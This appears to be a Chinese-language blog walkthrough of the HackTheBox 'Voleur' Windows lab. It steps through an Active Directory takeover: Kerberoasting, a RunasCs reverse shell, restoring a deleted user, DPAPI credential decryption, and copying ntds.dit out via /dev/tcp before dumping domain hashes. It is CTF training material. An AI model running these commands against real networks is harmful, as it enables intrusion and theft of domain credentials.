↓跳过正文
HYH’s Blog

HTB-Voleur

·1814 字·9 分钟
HTB-Machine Hackthebox Windows
HYH
作者
HYH
一名专注于网络安全、渗透测试与 CTF 挑战的技术爱好者，热衷于记录实战经验、分享工具与技术，致力于持续学习与成长。
目录

Box Info
#

OS Difficulty
Windows Medium

As is common in real life Windows pentests, you will start the Voleur box with credentials for the following account: ryan.naylor / HollowOct31Nyt

Nmap
# 

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-10 17:46:07Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

添加dc.voleur.htb到/etc/hosts

Bloodhound
#

无法直接使用密码认证，这里请求一下票据

[root@Hacking] /home/kali/Voleur  
❯ ntpdate voleur.htb                                                                                              
2025-07-11 05:26:15.216773 (-0400) +27417.340020 +/- 0.040598 voleur.htb 10.10.11.76 s1 no-leap
CLOCK: time stepped by 27417.340020

[root@Hacking] /home/kali/Voleur  
❯ impacket-getTGT voleur.htb/'ryan.naylor':'HollowOct31Nyt'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in ryan.naylor.ccache

[root@Hacking] /home/kali/Voleur  
❯ export KRB5CCNAME=/home/kali/Voleur/ryan.naylor.ccache

[root@Hacking] /home/kali/Voleur  
❯ nxc ldap voleur.htb -u ryan.naylor -p HollowOct31Nyt -k
LDAP        voleur.htb      389    DC.voleur.htb    [*]  x64 (name:DC.voleur.htb) (domain:voleur.htb) (signing:True) (SMBv1:False)
LDAP        voleur.htb      389    DC.voleur.htb    [+] voleur.htb\ryan.naylor:HollowOct31Nyt

[root@Hacking] /home/kali/Voleur  
❯ nxc smb dc.voleur.htb -u ryan.naylor -p HollowOct31Nyt -k
SMB         dc.voleur.htb   445    dc               [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False)
SMB         dc.voleur.htb   445    dc               [+] voleur.htb\ryan.naylor:HollowOct31Nyt

然后进行收集

[root@Hacking] /home/kali/Voleur  
❯ bloodhound-python -u ryan.naylor -p HollowOct31Nyt -k -ns 10.10.11.76 -c All -d voleur.htb --zip

发现属于一个特殊组呢，没有直接的权力

SMB
#

然后进行smb枚举

[root@Hacking] /home/kali/Voleur  
❯ NetExec smb dc.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k --shares --smb-timeout 500

SMB         dc.voleur.htb   445    dc               [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.voleur.htb   445    dc               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SMB         dc.voleur.htb   445    dc               [*] Enumerated shares
SMB         dc.voleur.htb   445    dc               Share           Permissions     Remark
SMB         dc.voleur.htb   445    dc               -----           -----------     ------
SMB         dc.voleur.htb   445    dc               ADMIN$                          Remote Admin
SMB         dc.voleur.htb   445    dc               C$                              Default share
SMB         dc.voleur.htb   445    dc               Finance                         
SMB         dc.voleur.htb   445    dc               HR                              
SMB         dc.voleur.htb   445    dc               IPC$            READ            Remote IPC
SMB         dc.voleur.htb   445    dc               IT              READ            
SMB         dc.voleur.htb   445    dc               NETLOGON        READ            Logon server share 
SMB         dc.voleur.htb   445    dc               SYSVOL          READ            Logon server share

发现有一个IT目录可以读取，进行连接

[root@Hacking] /home/kali/Voleur  
❯ impacket-smbclient -k dc.voleur.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# shares
ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL
# use IT
# ls
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 .
drw-rw-rw-          0  Fri Jul 11 04:06:16 2025 ..
drw-rw-rw-          0  Wed Jan 29 04:40:17 2025 First-Line Support
# cd First-Line Support
# ls
drw-rw-rw-          0  Wed Jan 29 04:40:17 2025 .
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 ..
-rw-rw-rw-      16896  Thu May 29 18:23:36 2025 Access_Review.xlsx
# get Access_Review.xlsx
#

需要密码才能打开

进行爆破，得到密码是football1
具体内容如下
注意到Todd用户被删掉了，但是留下了密码：NightT1meP1dg3on14 并且发现了可能是svc用户的密码

svc_ldap  M1XyC9pW7qT5Vn
svc_iis   N5pXyV1WqM7CZ8

TargetedKerberoast
#

并且发现了svc_ldap对lacey用户能GenericWrite

以及对svc_winrm具有WriteSPN权限，接下来获取票据

[root@Hacking] /home/kali/Voleur  
❯ impacket-getTGT voleur.htb/'svc_ldap':'M1XyC9pW7qT5Vn'                                                                                      ⏎
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_ldap.ccache

[root@Hacking] /home/kali/Voleur  
❯ export KRB5CCNAME=/home/kali/Voleur/svc_ldap.ccache

进行targetedkerberoast

[root@Hacking] /home/kali/Voleur/targetedKerberoast (main) 
❯ python targetedKerberoast.py -k --dc-host dc.voleur.htb -u svc_ldap -d voleur.htb                                                           ⏎
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (lacey.miller)
$krb5tgs$23$*lacey.miller$VOLEUR.HTB$voleur.htb/lacey.miller*$fe91b2790a12a31dcf20cfe8c0b9fd2e$5c3994e6ff3431df75cb54c26fbe38fd98a91d159eb7a25db7a1c73aa63aae8538d679c67d70892004d9b388711a9c26842ee0739f22ef37b5d795eecd103bc5b73c645c5a2fa9875b6aa00624c70034e0321877fe54645d45b4a9f584bc33642ba7532776e02817d10436959e715616c3296dba188cde3b2755fbd6923ff16f930d5cab8f16a2d2439ec07b96edda5bfba142089d18d1cd365f6954d2b734cbdba1d33cba361152e74633f36663945c5fd6d3cd1771bfc1b5dd561e036bcd721bd7d75bbaf0a21243a284e59ce63c865e8a3e17a7d820240ad1f1f60865ae40323768dfca0ad54107bfeff07ef3f0879bb001d7ddddfab3c9fbf62fdd433c53a95fe13b163ec96e2bc2b95bc9d297bf234fbfe140f26b7ee9f347dc54e4b1b43e6397aa4c1944d266b9c61940d9bff1917962aa7fe4f6b20bc5bcc2d0ac99aed337a2f62d8e39fafe4f22d05ee954fc5f8b3eff387e4844f9b0f5d987ad5c86bb5ba686de0701ac915100e0b1563c9eaa4aa2fbb41b04710a1fd8ddea4660fdbe0be45e89d88fd8dc642310dd8775b24f4cd01716ec22edf1bef3d35092aca03307cc318292467c3644de6bd4e542a7b2e90a2586ecacdc194e66c44521e20baf3f1eaf35d05bc23432bcda3379b75307616dd9b0cfe5ede96c78c99668469c687f792d0a0ac98c5ffe68f7a66417dcab3feae7ab1e6e076f43f4225e62403c736ee746698b2facf789c8c3a97c26a0aed6dada6b7c81e83166ba7cf0449a160592c83b07a2ea54539dcd95dbeb26e909ec67d6eae39f61b62a18f9b4f86f717360a5c960f4a261b8dff99c3c6a0160226409228c80962628182b3f4e0d8d049dab50d25c46f88c7a17cbcc65f659a5a5b4a6af269819f205592e307750484375ae1942388cc83aff04165e739c9d56bbee5f11b9b93e9300e7a4c6f012c60e8ddc579da030d56a641ba014f0b5144eb16bd27c8e023760bbe224942a0cc1272275f18f591d6e5b417d13330c92d3a4fc8a21768e102990cb2329ef1903ac5429e412e8899ae1e676c57b0dd297526474fd8ad6185e40a320340d168265ed71171a25c9d6a285c65fe2f89c30636b9959e0417eef22bc7015446f0fd3a1405ebaabbf09c02a3ee062e79f4f3474be9c2eb25cddf5697ff598f4312a3b5a8c2a24feb87a4c08dbf54ffd28d990d0b4abaa2cce057a67a29d2b92a84f28811d23e545e124a4a06a903214ca5de973e0536d469ccd213d5ee98dc12a7cd96f0ef54453786e67b392bceb838c08b8427ce5399817c57d0119b770a5ad5abd1caae4f96a0a6bf77871b7f9d9481b9c1e82ec3d5f91fea3f3d38ec0786778c629d6fca90164b0ae9c9f8889ee1421ebe08c3f3d67865fe1f55dafcd416bcba12913fad8ca6e56cb0e73fbc8daa88e736a8d69245ca90446901272dec0b949de29a080a5116b48085e11c6bb720ad10c9f131850d065
[+] Printing hash for (svc_winrm)
$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*$70eb09f1a0eb7f2f3299c0e67a0b4928$eff0c3837cb8a95b1b3f624f880f000e23261d8d8940419074351e15b5e08ab53793584df1e7ac4ff1c220a3033bc847e38698a04570ba9c79a0e0365f07442d2d5cad249f8d04b12b191f80bbe3d3f80aa27fe81e270478fe2659a33f4dcddc07e09376ca319076af719ea7b31a0aefd9983237b10e3f87b8c5cd226a00952bdb337e60fb09034544cb0baaee63e5b8dde167c2d2b4a70809787718601b9aef575441d78c9aeeeb12c861ebc5ab9512d8be557e177bc514168a8b13b7e3f30888534b2be834caa1501312c099433489eb4ffda883e62aa4dcb646483edfa6a50239e0c5a7e63207e7bf8bb205b3ba917310e635d1c57447a434786090d535234fc03aeecc16013842d47b4e08035d3cb63ec533433c49c0024b16a0743dfd9a1805f9c58bc867c4c17366952514c8cbddf2c6d035c6f607606b18e8ed471c29fc7b96752d7f2fd99b96e942adfa3bf429a57eb5818a2714d28a2093b22ad8cd7d387a48b7619117a0c8a7aa348138689b942ef3597a0eba22f49bc1cd438425031a7841a0c5c0bb00525e436e5bf2484a74563aede628844b1c9cc249db0a55dfdb8253124f261f07281010c685834128869a91786d8d01d174c334df352caa81ca64e274ceacdff4aeb57f04132e21197e067320cd3a7c93f58bde5a8bb01e1d9b7fccad7cb2bf314210dea8540cb049f42593972e629592f1d93e2e749a1bd1b01589ce7281a04ca52aa1ae45cef2eade43f809f5d6a2bfb0d8dd56b9ad55d8071618b300d3526ffa13ef995d1e01eda1c7eb51beeb19175322f81b118f5eebff1dd6de3a3258fc502c925d20cdd32f6c5da5703345c45a3708631ad7591308a926bd1f93164a91ad3013aafce7c487a1d3a1db5145279587e584addc12bf0570553334fc925e65ce9fe31674c50f7ce4e2c12dd21505918fc3ef1c558877a2e1f114740fb5e5fa389beed4131703ac1672c34b2f5833e95f8b320d4c64e929de3616d9138028901d27c34de323fedb952387944efc1e756ea053cdfb30e47f71a35151f6a30e903960a4b8cd4dd5452216033e339aaca55199c75fef78733b45ffb6e9bfc05807cf0785750feacda6012eae2170c39a6101cef37d4401dd0c58810ffb37a9cc88718b46d69fd379a9afa51d7b6938592d772df3783e59666c9017ffb25862fbf581f6b00a5ca350d188ec631e5e712c2c10b4801b18183b4b56af43fa67d9e37e98c86ba357a36b895bea9bb35b92058bad98211257a05a780802ecf0b418d56c4b412260e3214471f66d74fad927184cb357203d34ad93542bb5bee672ac1638723551af5a5207ef56ac9d0cf1357315a99cba28c51a81c7470dbb89eb5995965a01f42206499a4a40e0a9bf5cd83f22cf315b1a3b815b48af395e4510cf8005efd048a8a6dfa4a7781a6e972a5ef1d56b92bf3de5afd7eeb594aee89f9dc3fe418728d1dcfaebcb1f06

尝试进行破解，其中svc_winrm能够成功破解到密码

再次获取票据，进行5985登录，拿到user

Restore User
#

当前用户没什么，注意到svc_ldap属于RESTORE_USERS组，那么之前提到的Todd用户可能有用

尝试使用RunasCs进行切换用户（因为svc_ldap不在远程组，无法直接登录）

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> upload /home/kali/Voleur/RunasCs.exe
                                        
Info: Uploading /home/kali/Voleur/RunasCs.exe to C:\Users\svc_winrm\Documents\RunasCs.exe
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc_winrm\Documents>  .\RunasCS.exe svc_ldap M1XyC9pW7qT5Vn  powershell.exe -r 10.10.16.48:6666
[*] Warning: The logon for user 'svc_ldap' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-8a13f0$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2992 created in background.

然后得到svc_ldap的shell

查询删除过的用户

PS C:\Windows\system32> Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects
Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects


Deleted           : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
Name              : Todd Wolfe
                    DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectClass       : user
ObjectGUID        : 1c6b1deb-c372-4cbb-87b1-15031de169db

尝试恢复Todd

PS C:\Windows\system32> Get-ADObject -Filter 'isDeleted -eq $true -and Name -like "*Todd Wolfe*"' -IncludeDeletedObjects |
    Restore-ADObject

看到恢复成功

DPAPI
#

发现todd属于SECOND LINE TECHNICIANS组，再回到SMB

[root@Hacking] /home/kali/Voleur  
❯ impacket-smbclient -k dc.voleur.htb                                                                                                         ⏎
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# shares
ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL
# use IT
# ls
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 .
drw-rw-rw-          0  Fri Jul 11 04:06:16 2025 ..
drw-rw-rw-          0  Wed Jan 29 10:13:03 2025 Second-Line Support
# cd Second-Line Support
# ls
drw-rw-rw-          0  Wed Jan 29 10:13:03 2025 .
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 ..
drw-rw-rw-          0  Wed Jan 29 10:13:06 2025 Archived Users
# cd Archived Users
# ls
drw-rw-rw-          0  Wed Jan 29 10:13:06 2025 .
drw-rw-rw-          0  Wed Jan 29 10:13:03 2025 ..
drw-rw-rw-          0  Wed Jan 29 10:13:16 2025 todd.wolfe
# cd todd.wolfe
# ls
drw-rw-rw-          0  Wed Jan 29 10:13:16 2025 .
drw-rw-rw-          0  Wed Jan 29 10:13:06 2025 ..
drw-rw-rw-          0  Wed Jan 29 10:13:06 2025 3D Objects
drw-rw-rw-          0  Wed Jan 29 10:13:09 2025 AppData
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Contacts
drw-rw-rw-          0  Thu Jan 30 09:28:50 2025 Desktop
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Documents
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Downloads
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Favorites
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Links
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Music
-rw-rw-rw-      65536  Wed Jan 29 10:13:06 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TM.blf
-rw-rw-rw-     524288  Wed Jan 29 07:53:07 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000001.regtrans-ms
-rw-rw-rw-     524288  Wed Jan 29 07:53:07 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000002.regtrans-ms
-rw-rw-rw-         20  Wed Jan 29 07:53:07 2025 ntuser.ini
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Pictures
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Saved Games
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Searches
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Videos
# cd Desktop
# ls
drw-rw-rw-          0  Thu Jan 30 09:28:50 2025 .
drw-rw-rw-          0  Wed Jan 29 10:13:16 2025 ..
-rw-rw-rw-        282  Wed Jan 29 07:53:09 2025 desktop.ini
-rw-rw-rw-       2312  Wed Jan 29 07:53:10 2025 Microsoft Edge.lnk

尝试获取dpapi加密的数据和密钥

get /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88

get /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3

破解密钥

[root@Hacking] /home/kali/Voleur  
❯ impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 08949382-134f-4c63-b93c-ce52efc0aa88
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

破解用户凭证

[root@Hacking] /home/kali/Voleur  
❯ impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-01-29 12:55:19
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=Jezzas_Account
Description : 
Unknown     : 
Username    : jeremy.combs
Unknown     : qT3V9pLXyN7W4m

Bloodhound
#

获取票据后再次进行bloodhound收集

[root@Hacking] /home/kali/Voleur  
❯ impacket-getTGT voleur.htb/'jeremy.combs':'qT3V9pLXyN7W4m'  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in jeremy.combs.ccache

[root@Hacking] /home/kali/Voleur  
❯ export KRB5CCNAME=/home/kali/Voleur/jeremy.combs.ccache       

[root@Hacking] /home/kali/Voleur  
❯ bloodhound-python -u jeremy.combs -p qT3V9pLXyN7W4m -k -ns 10.10.11.76 -c All -d voleur.htb --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: voleur.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 13 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 5 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.voleur.htb
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: [Errno Connection error (10.10.11.76:445)] timed out
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
ERROR: Unhandled exception in computer DC.voleur.htb processing: Error occurs while reading from remote(104)
INFO: Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/impacket/nmb.py", line 986, in non_polling_read
    received = self._sock.recv(bytes_left)
ConnectionResetError: [Errno 104] Connection reset by peer

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/bloodhound/enumeration/computers.py", line 151, in process_computer
    c.rpc_close()
    ~~~~~~~~~~~^^
  File "/usr/lib/python3/dist-packages/bloodhound/ad/computer.py", line 459, in rpc_close
    self.smbconnection.logoff()
    ~~~~~~~~~~~~~~~~~~~~~~~~~^^
  File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 347, in logoff
    return self._SMBConnection.logoff()
           ~~~~~~~~~~~~~~~~~~~~~~~~~~^^
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1617, in logoff
    ans = self.recvSMB(packetID)
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 557, in recvSMB
    return self.recvSMB(packetID)
           ~~~~~~~~~~~~^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 514, in recvSMB
    data = self._NetBIOSSession.recv_packet(self._timeout)
  File "/usr/lib/python3/dist-packages/impacket/nmb.py", line 917, in recv_packet
    data = self.__read(timeout)
  File "/usr/lib/python3/dist-packages/impacket/nmb.py", line 1004, in __read
    data = self.read_function(4, timeout)
  File "/usr/lib/python3/dist-packages/impacket/nmb.py", line 990, in non_polling_read
    raise NetBIOSError('Error occurs while reading from remote', ERRCLASS_OS, ex.errno)
impacket.nmb.NetBIOSError: Error occurs while reading from remote(104)

INFO: Done in 01M 21S
INFO: Compressing output into 20250711072323_bloodhound.zip

SSH
#

看起来jeremy还要登录到SMB

[root@Hacking] /home/kali/Voleur  
❯ impacket-smbclient -k dc.voleur.htb                       
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use IT
# ls
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 .
drw-rw-rw-          0  Mon Jun 30 17:08:33 2025 ..
drw-rw-rw-          0  Thu Jan 30 11:11:29 2025 Third-Line Support
# cd Third-Line Support
# ls
drw-rw-rw-          0  Thu Jan 30 11:11:29 2025 .
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 ..
-rw-rw-rw-       2602  Thu Jan 30 11:11:29 2025 id_rsa
-rw-rw-rw-        186  Thu Jan 30 11:07:35 2025 Note.txt.txt
# get id_rsa
# get Note.txt.txt
#

查看一下内容

[root@Hacking] /home/kali/Voleur  
❯ chmod 600 id_rsa                                                                               

[root@Hacking] /home/kali/Voleur  
❯ ssh-keygen -y -f ./id_rsa
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCoXI8y9RFb+pvJGV6YAzNo9W99Hsk0fOcvrEMc/ij+GpYjOfd1nro/ZpuwyBnLZdcZ/ak7QzXdSJ2IFoXd0s0vtjVJ5L8MyKwTjXXMfHoBAx6mPQwYGL9zVR+LutUyr5fo0mdva/mkLOmjKhs41aisFcwpX0OdtC6ZbFhcpDKvq+BKst3ckFbpM1lrc9ZOHL3CtNE56B1hqoKPOTc+xxy3ro+GZA/JaR5VsgZkCoQL951843OZmMxuft24nAgvlzrwwy4KL273UwDkUCKCc22C+9hWGr+kuSFwqSHV6JHTVPJSZ4dUmEFAvBXNwc11WT4Y743OHJE6q7GFppWNw7wvcow9g1RmX9zii/zQgbTiEC8BAgbI28A+4RcacsSIpFw2D6a8jr+wshxTmhCQ8kztcWV6NIod+Alw/VbcwwMBgqmQC5lMnBI/0hJVWWPhH+V9bXy0qKJe7KA4a52bcBtjrkKU7A/6xjv6tc5MDacneoTQnyAYSJLwMXM84XzQ4us= svc_backup@DC


[root@Hacking] /home/kali/Voleur  
❯ cat Note.txt.txt 
Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin#

查看到密钥是svc_backup用户的，并且之前端口扫描开放了2222端口，尝试连接

 [root@Hacking] /home/kali/Voleur  
❯ ssh -i id_rsa svc_backup@voleur.htb -p 2222

Secrets Dump
#

发现/mnt中挂载了C盘

进入到之前THIRD-LINE
发现了SYSTEM和NTDS
直接传出来

svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups/Active Directory$ cat ntds.dit > /dev/tcp/10.10.16.48/8888

svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups/registry$ cat SYSTEM  > /dev/tcp/10.10.16.48/8888

[root@Hacking] /home/kali/Voleur  
❯ nc -lvnp 8888 > ntds.dit
listening on [any] 8888 ...
connect to [10.10.16.48] from (UNKNOWN) [10.10.11.76] 61968

[root@Hacking] /home/kali/Voleur  
❯ nc -lvnp 8888 > SYSTEM  
listening on [any] 8888 ...
connect to [10.10.16.48] from (UNKNOWN) [10.10.11.76] 61993

本地破解哈希

[root@Hacking] /home/kali/Voleur  
❯ impacket-secretsdump -ntds ntds.dit -system SYSTEM local                                                                                    ⏎
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<hidden>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5aeef2c641148f9173d663be744e323c:::
voleur.htb\ryan.naylor:1103:aad3b435b51404eeaad3b435b51404ee:3988a78c5a072b0a84065a809976ef16:::
voleur.htb\marie.bryant:1104:aad3b435b51404eeaad3b435b51404ee:53978ec648d3670b1b83dd0b5052d5f8:::
voleur.htb\lacey.miller:1105:aad3b435b51404eeaad3b435b51404ee:2ecfe5b9b7e1aa2df942dc108f749dd3:::
voleur.htb\svc_ldap:1106:aad3b435b51404eeaad3b435b51404ee:0493398c124f7af8c1184f9dd80c1307:::
voleur.htb\svc_backup:1107:aad3b435b51404eeaad3b435b51404ee:f44fe33f650443235b2798c72027c573:::
voleur.htb\svc_iis:1108:aad3b435b51404eeaad3b435b51404ee:246566da92d43a35bdea2b0c18c89410:::
voleur.htb\jeremy.combs:1109:aad3b435b51404eeaad3b435b51404ee:7b4c3ae2cbd5d74b7055b7f64c0b3b4c:::
voleur.htb\svc_winrm:1601:aad3b435b51404eeaad3b435b51404ee:5d7e37717757433b4780079ee9b1d421:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
Administrator:aes128-cts-hmac-sha1-96:38af4c8667c90d19b286c7af861b10cc
Administrator:des-cbc-md5:459d836b9edcd6b0
DC$:aes256-cts-hmac-sha1-96:65d713fde9ec5e1b1fd9144ebddb43221123c44e00c9dacd8bfc2cc7b00908b7
DC$:aes128-cts-hmac-sha1-96:fa76ee3b2757db16b99ffa087f451782
DC$:des-cbc-md5:64e05b6d1abff1c8
krbtgt:aes256-cts-hmac-sha1-96:2500eceb45dd5d23a2e98487ae528beb0b6f3712f243eeb0134e7d0b5b25b145
krbtgt:aes128-cts-hmac-sha1-96:04e5e22b0af794abb2402c97d535c211
krbtgt:des-cbc-md5:34ae31d073f86d20
voleur.htb\ryan.naylor:aes256-cts-hmac-sha1-96:0923b1bd1e31a3e62bb3a55c74743ae76d27b296220b6899073cc457191fdc74
voleur.htb\ryan.naylor:aes128-cts-hmac-sha1-96:6417577cdfc92003ade09833a87aa2d1
voleur.htb\ryan.naylor:des-cbc-md5:4376f7917a197a5b
voleur.htb\marie.bryant:aes256-cts-hmac-sha1-96:d8cb903cf9da9edd3f7b98cfcdb3d36fc3b5ad8f6f85ba816cc05e8b8795b15d
voleur.htb\marie.bryant:aes128-cts-hmac-sha1-96:a65a1d9383e664e82f74835d5953410f
voleur.htb\marie.bryant:des-cbc-md5:cdf1492604d3a220
voleur.htb\lacey.miller:aes256-cts-hmac-sha1-96:1b71b8173a25092bcd772f41d3a87aec938b319d6168c60fd433be52ee1ad9e9
voleur.htb\lacey.miller:aes128-cts-hmac-sha1-96:aa4ac73ae6f67d1ab538addadef53066
voleur.htb\lacey.miller:des-cbc-md5:6eef922076ba7675
voleur.htb\svc_ldap:aes256-cts-hmac-sha1-96:2f1281f5992200abb7adad44a91fa06e91185adda6d18bac73cbf0b8dfaa5910
voleur.htb\svc_ldap:aes128-cts-hmac-sha1-96:7841f6f3e4fe9fdff6ba8c36e8edb69f
voleur.htb\svc_ldap:des-cbc-md5:1ab0fbfeeaef5776
voleur.htb\svc_backup:aes256-cts-hmac-sha1-96:c0e9b919f92f8d14a7948bf3054a7988d6d01324813a69181cc44bb5d409786f
voleur.htb\svc_backup:aes128-cts-hmac-sha1-96:d6e19577c07b71eb8de65ec051cf4ddd
voleur.htb\svc_backup:des-cbc-md5:7ab513f8ab7f765e
voleur.htb\svc_iis:aes256-cts-hmac-sha1-96:77f1ce6c111fb2e712d814cdf8023f4e9c168841a706acacbaff4c4ecc772258
voleur.htb\svc_iis:aes128-cts-hmac-sha1-96:265363402ca1d4c6bd230f67137c1395
